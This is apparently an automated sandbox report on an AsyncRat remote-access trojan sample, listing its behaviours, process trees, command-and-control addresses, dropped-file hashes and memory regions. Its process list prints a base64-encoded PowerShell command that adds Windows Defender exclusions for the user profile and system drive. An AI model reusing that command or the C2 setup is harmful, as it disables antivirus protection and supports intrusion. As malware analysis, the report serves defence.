Analysis Overview
SHA256
10fe9e0b3b861a06727addb3e0291727bdd8cd91bebbed4b3d6bc901aa15dde1
Threat Level: Known bad
The file 10fe9e0b3b861a06727addb3e0291727bdd8cd91bebbed4b3d6bc901aa15dde1.exe was found to be: Known bad.
Malicious Activity Summary
AsyncRat
Checks computer location settings
Loads dropped DLL
Executes dropped EXE
Adds Run key to start application
Suspicious use of SetThreadContext
Command and Scripting Interpreter: PowerShell
Enumerates physical storage devices
Unsigned PE
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
MITRE ATT&CK Matrix V13
Analysis: static1
Detonation Overview
Reported
2024-06-18 15:08
Signatures
Unsigned PE
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-06-18 15:08
Reported
2024-06-18 15:10
Platform
win7-20240508-en
Max time kernel
145s
Max time network
147s
Command Line
Signatures
AsyncRat
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\Zcsbaibfhun.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\LicGen.exe | N/A |
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\10fe9e0b3b861a06727addb3e0291727bdd8cd91bebbed4b3d6bc901aa15dde1.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\10fe9e0b3b861a06727addb3e0291727bdd8cd91bebbed4b3d6bc901aa15dde1.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000\Software\Microsoft\Windows\CurrentVersion\Run\Duyiyilycdc = "C:\\Users\\Admin\\AppData\\Roaming\\Duyiyilycdc.exe" | C:\Users\Admin\AppData\Local\Temp\Zcsbaibfhun.exe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 3068 set thread context of 1352 | N/A | C:\Users\Admin\AppData\Local\Temp\Zcsbaibfhun.exe | C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\Zcsbaibfhun.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\Zcsbaibfhun.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\10fe9e0b3b861a06727addb3e0291727bdd8cd91bebbed4b3d6bc901aa15dde1.exe
"C:\Users\Admin\AppData\Local\Temp\10fe9e0b3b861a06727addb3e0291727bdd8cd91bebbed4b3d6bc901aa15dde1.exe"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHAAYQB0ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHoAdgB3ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHcAcwB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHUAZABuACMAPgA="
C:\Users\Admin\AppData\Local\Temp\Zcsbaibfhun.exe
"C:\Users\Admin\AppData\Local\Temp\Zcsbaibfhun.exe"
C:\Users\Admin\AppData\Local\Temp\LicGen.exe
"C:\Users\Admin\AppData\Local\Temp\LicGen.exe"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Network
| Country | Destination | Domain | Proto |
| NL | 95.211.208.153:6606 | tcp | |
| NL | 95.211.208.153:6606 | tcp | |
| NL | 95.211.208.153:6606 | tcp | |
| US | 8.8.8.8:53 | 5512.sytes.net | udp |
| NL | 95.211.208.153:7707 | tcp | |
| US | 8.8.8.8:53 | 5512.sytes.net | udp |
Files
\Users\Admin\AppData\Local\Temp\Zcsbaibfhun.exe
| MD5 | 5870c41c149fdd038336b2a1b2103e2f |
| SHA1 | d3efce3cc94fb928113481aee8d58cdeea24a708 |
| SHA256 | 9b489f300c3797e9d343a47ecd96e83646a61b02c28b5e68071d26a5a666c929 |
| SHA512 | 9fdbc2281e54dc640e8b2598faedabffe70f3fc739d88a603c0d43a8496fc08b07fcebd63fabd11d69c3393edb28eec867ab505a5c694ebe17632d04fe8952a7 |
\Users\Admin\AppData\Local\Temp\LicGen.exe
| MD5 | 63404fb2f5a0d14e7a19fa3e4b8af577 |
| SHA1 | 12d4ecfcfe8f9fa53fbc4f7addb43ab118da8255 |
| SHA256 | d599ed299630b163afb1aa64f6f5bdd92969dd9abfca1e32d1df4a93608fefeb |
| SHA512 | 19aae9580fa9be4c14401f144f04366a1c21cb9c9ae268a4e75f9e0364f49e9e18242ec0f49c7ec349328530b960b3890e1197d417db9986c763e098844e7416 |
memory/2680-14-0x0000000000400000-0x00000000004DD000-memory.dmp
memory/1636-12-0x0000000003150000-0x000000000322D000-memory.dmp
memory/3068-17-0x00000000001F0000-0x0000000000452000-memory.dmp
memory/3068-18-0x0000000004F40000-0x0000000005160000-memory.dmp
memory/3068-19-0x0000000006290000-0x00000000064B2000-memory.dmp
memory/3068-27-0x0000000006290000-0x00000000064AC000-memory.dmp
memory/3068-25-0x0000000006290000-0x00000000064AC000-memory.dmp
memory/3068-23-0x0000000006290000-0x00000000064AC000-memory.dmp
memory/3068-21-0x0000000006290000-0x00000000064AC000-memory.dmp
memory/3068-20-0x0000000006290000-0x00000000064AC000-memory.dmp
memory/3068-29-0x0000000006290000-0x00000000064AC000-memory.dmp
memory/3068-31-0x0000000006290000-0x00000000064AC000-memory.dmp
memory/3068-33-0x0000000006290000-0x00000000064AC000-memory.dmp
memory/3068-35-0x0000000006290000-0x00000000064AC000-memory.dmp
memory/3068-37-0x0000000006290000-0x00000000064AC000-memory.dmp
memory/3068-39-0x0000000006290000-0x00000000064AC000-memory.dmp
memory/3068-41-0x0000000006290000-0x00000000064AC000-memory.dmp
memory/3068-43-0x0000000006290000-0x00000000064AC000-memory.dmp
memory/3068-45-0x0000000006290000-0x00000000064AC000-memory.dmp
memory/3068-47-0x0000000006290000-0x00000000064AC000-memory.dmp
memory/3068-49-0x0000000006290000-0x00000000064AC000-memory.dmp
memory/3068-53-0x0000000006290000-0x00000000064AC000-memory.dmp
memory/3068-55-0x0000000006290000-0x00000000064AC000-memory.dmp
memory/3068-57-0x0000000006290000-0x00000000064AC000-memory.dmp
memory/3068-61-0x0000000006290000-0x00000000064AC000-memory.dmp
memory/3068-65-0x0000000006290000-0x00000000064AC000-memory.dmp
memory/3068-67-0x0000000006290000-0x00000000064AC000-memory.dmp
memory/3068-71-0x0000000006290000-0x00000000064AC000-memory.dmp
memory/3068-75-0x0000000006290000-0x00000000064AC000-memory.dmp
memory/3068-81-0x0000000006290000-0x00000000064AC000-memory.dmp
memory/3068-51-0x0000000006290000-0x00000000064AC000-memory.dmp
memory/3068-4907-0x00000000047D0000-0x000000000481C000-memory.dmp
memory/3068-4906-0x0000000002060000-0x00000000020BC000-memory.dmp
memory/3068-83-0x0000000006290000-0x00000000064AC000-memory.dmp
memory/3068-79-0x0000000006290000-0x00000000064AC000-memory.dmp
memory/3068-77-0x0000000006290000-0x00000000064AC000-memory.dmp
memory/3068-73-0x0000000006290000-0x00000000064AC000-memory.dmp
memory/3068-69-0x0000000006290000-0x00000000064AC000-memory.dmp
memory/3068-63-0x0000000006290000-0x00000000064AC000-memory.dmp
memory/3068-59-0x0000000006290000-0x00000000064AC000-memory.dmp
memory/3068-4908-0x0000000004960000-0x00000000049B4000-memory.dmp
memory/1352-4922-0x0000000000400000-0x0000000000412000-memory.dmp
memory/2680-4925-0x0000000000400000-0x00000000004DD000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-06-18 15:08
Reported
2024-06-18 15:10
Platform
win10v2004-20240508-en
Max time kernel
147s
Max time network
150s
Command Line
Signatures
AsyncRat
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\10fe9e0b3b861a06727addb3e0291727bdd8cd91bebbed4b3d6bc901aa15dde1.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\Zcsbaibfhun.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\LicGen.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Duyiyilycdc = "C:\\Users\\Admin\\AppData\\Roaming\\Duyiyilycdc.exe" | C:\Users\Admin\AppData\Local\Temp\Zcsbaibfhun.exe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 3592 set thread context of 4224 | N/A | C:\Users\Admin\AppData\Local\Temp\Zcsbaibfhun.exe | C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\Zcsbaibfhun.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\Zcsbaibfhun.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\10fe9e0b3b861a06727addb3e0291727bdd8cd91bebbed4b3d6bc901aa15dde1.exe
"C:\Users\Admin\AppData\Local\Temp\10fe9e0b3b861a06727addb3e0291727bdd8cd91bebbed4b3d6bc901aa15dde1.exe"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHAAYQB0ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHoAdgB3ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHcAcwB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHUAZABuACMAPgA="
C:\Users\Admin\AppData\Local\Temp\Zcsbaibfhun.exe
"C:\Users\Admin\AppData\Local\Temp\Zcsbaibfhun.exe"
C:\Users\Admin\AppData\Local\Temp\LicGen.exe
"C:\Users\Admin\AppData\Local\Temp\LicGen.exe"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Network
| Country | Destination | Domain | Proto |
| NL | 95.211.208.153:6606 | tcp | |
| NL | 95.211.208.153:7707 | tcp | |
| US | 8.8.8.8:53 | 5512.sytes.net | udp |
| US | 52.111.229.43:443 | tcp | |
| US | 8.8.8.8:53 | 5512.sytes.net | udp |
| NL | 95.211.208.153:6606 | tcp | |
| US | 8.8.8.8:53 | 5512.sytes.net | udp |
Files
C:\Users\Admin\AppData\Local\Temp\Zcsbaibfhun.exe
| MD5 | 5870c41c149fdd038336b2a1b2103e2f |
| SHA1 | d3efce3cc94fb928113481aee8d58cdeea24a708 |
| SHA256 | 9b489f300c3797e9d343a47ecd96e83646a61b02c28b5e68071d26a5a666c929 |
| SHA512 | 9fdbc2281e54dc640e8b2598faedabffe70f3fc739d88a603c0d43a8496fc08b07fcebd63fabd11d69c3393edb28eec867ab505a5c694ebe17632d04fe8952a7 |
C:\Users\Admin\AppData\Local\Temp\LicGen.exe
| MD5 | 63404fb2f5a0d14e7a19fa3e4b8af577 |
| SHA1 | 12d4ecfcfe8f9fa53fbc4f7addb43ab118da8255 |
| SHA256 | d599ed299630b163afb1aa64f6f5bdd92969dd9abfca1e32d1df4a93608fefeb |
| SHA512 | 19aae9580fa9be4c14401f144f04366a1c21cb9c9ae268a4e75f9e0364f49e9e18242ec0f49c7ec349328530b960b3890e1197d417db9986c763e098844e7416 |
memory/3592-20-0x000000007336E000-0x000000007336F000-memory.dmp
memory/212-22-0x0000000002FF0000-0x0000000003026000-memory.dmp
memory/212-23-0x0000000073360000-0x0000000073B10000-memory.dmp
memory/3592-24-0x0000000000310000-0x0000000000572000-memory.dmp
memory/212-25-0x0000000005BC0000-0x00000000061E8000-memory.dmp
memory/4484-27-0x0000000000700000-0x0000000000701000-memory.dmp
memory/212-26-0x0000000073360000-0x0000000073B10000-memory.dmp
memory/3592-28-0x0000000004F10000-0x0000000004F20000-memory.dmp
memory/212-30-0x0000000005580000-0x0000000005590000-memory.dmp
memory/4484-29-0x0000000000400000-0x00000000004DD000-memory.dmp
memory/212-33-0x0000000005B20000-0x0000000005B86000-memory.dmp
memory/212-32-0x00000000059B0000-0x0000000005A16000-memory.dmp
memory/212-31-0x0000000005910000-0x0000000005932000-memory.dmp
memory/3592-34-0x0000000004F20000-0x0000000005140000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1jfdyvr1.acq.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/3592-44-0x0000000006270000-0x0000000006492000-memory.dmp
memory/3592-47-0x00000000065D0000-0x0000000006662000-memory.dmp
memory/212-46-0x00000000062C0000-0x0000000006614000-memory.dmp
memory/3592-53-0x0000000006270000-0x000000000648C000-memory.dmp
memory/3592-61-0x0000000006270000-0x000000000648C000-memory.dmp
memory/3592-77-0x0000000006270000-0x000000000648C000-memory.dmp
memory/3592-75-0x0000000006270000-0x000000000648C000-memory.dmp
memory/3592-73-0x0000000006270000-0x000000000648C000-memory.dmp
memory/3592-71-0x0000000006270000-0x000000000648C000-memory.dmp
memory/3592-69-0x0000000006270000-0x000000000648C000-memory.dmp
memory/3592-65-0x0000000006270000-0x000000000648C000-memory.dmp
memory/3592-63-0x0000000006270000-0x000000000648C000-memory.dmp
memory/3592-67-0x0000000006270000-0x000000000648C000-memory.dmp
memory/3592-59-0x0000000006270000-0x000000000648C000-memory.dmp
memory/3592-57-0x0000000006270000-0x000000000648C000-memory.dmp
memory/3592-55-0x0000000006270000-0x000000000648C000-memory.dmp
memory/3592-52-0x0000000006270000-0x000000000648C000-memory.dmp
memory/3592-49-0x0000000006270000-0x000000000648C000-memory.dmp
memory/3592-48-0x0000000006270000-0x000000000648C000-memory.dmp
memory/3592-45-0x0000000006A70000-0x0000000007014000-memory.dmp
memory/3592-107-0x0000000006270000-0x000000000648C000-memory.dmp
memory/3592-109-0x0000000006270000-0x000000000648C000-memory.dmp
memory/3592-111-0x0000000006270000-0x000000000648C000-memory.dmp
memory/3592-105-0x0000000006270000-0x000000000648C000-memory.dmp
memory/3592-103-0x0000000006270000-0x000000000648C000-memory.dmp
memory/3592-101-0x0000000006270000-0x000000000648C000-memory.dmp
memory/3592-99-0x0000000006270000-0x000000000648C000-memory.dmp
memory/3592-97-0x0000000006270000-0x000000000648C000-memory.dmp
memory/212-226-0x00000000068D0000-0x00000000068EE000-memory.dmp
memory/212-227-0x0000000006920000-0x000000000696C000-memory.dmp
memory/3592-95-0x0000000006270000-0x000000000648C000-memory.dmp
memory/3592-93-0x0000000006270000-0x000000000648C000-memory.dmp
memory/3592-91-0x0000000006270000-0x000000000648C000-memory.dmp
memory/3592-89-0x0000000006270000-0x000000000648C000-memory.dmp
memory/3592-87-0x0000000006270000-0x000000000648C000-memory.dmp
memory/3592-86-0x0000000006270000-0x000000000648C000-memory.dmp
memory/3592-83-0x0000000006270000-0x000000000648C000-memory.dmp
memory/3592-81-0x0000000006270000-0x000000000648C000-memory.dmp
memory/3592-79-0x0000000006270000-0x000000000648C000-memory.dmp
memory/212-259-0x0000000006F10000-0x0000000006F2E000-memory.dmp
memory/212-229-0x000000006FA50000-0x000000006FA9C000-memory.dmp
memory/212-228-0x0000000006EB0000-0x0000000006EE2000-memory.dmp
memory/212-291-0x00000000078E0000-0x0000000007983000-memory.dmp
memory/212-455-0x0000000007C20000-0x0000000007C3A000-memory.dmp
memory/212-456-0x0000000007C90000-0x0000000007C9A000-memory.dmp
memory/212-454-0x0000000008260000-0x00000000088DA000-memory.dmp
memory/212-457-0x0000000007EB0000-0x0000000007F46000-memory.dmp
memory/212-474-0x0000000007E20000-0x0000000007E31000-memory.dmp
memory/212-4212-0x0000000007E80000-0x0000000007E8E000-memory.dmp
memory/212-4862-0x0000000007E90000-0x0000000007EA4000-memory.dmp
memory/212-4956-0x0000000007F70000-0x0000000007F8A000-memory.dmp
memory/212-4957-0x0000000007F60000-0x0000000007F68000-memory.dmp
memory/3592-4958-0x00000000067F0000-0x000000000684C000-memory.dmp
memory/3592-4959-0x0000000006850000-0x000000000689C000-memory.dmp
memory/212-4962-0x0000000073360000-0x0000000073B10000-memory.dmp
memory/3592-4963-0x0000000007070000-0x00000000070C4000-memory.dmp
memory/4224-4967-0x0000000000400000-0x0000000000412000-memory.dmp
memory/4484-4972-0x0000000000400000-0x00000000004DD000-memory.dmp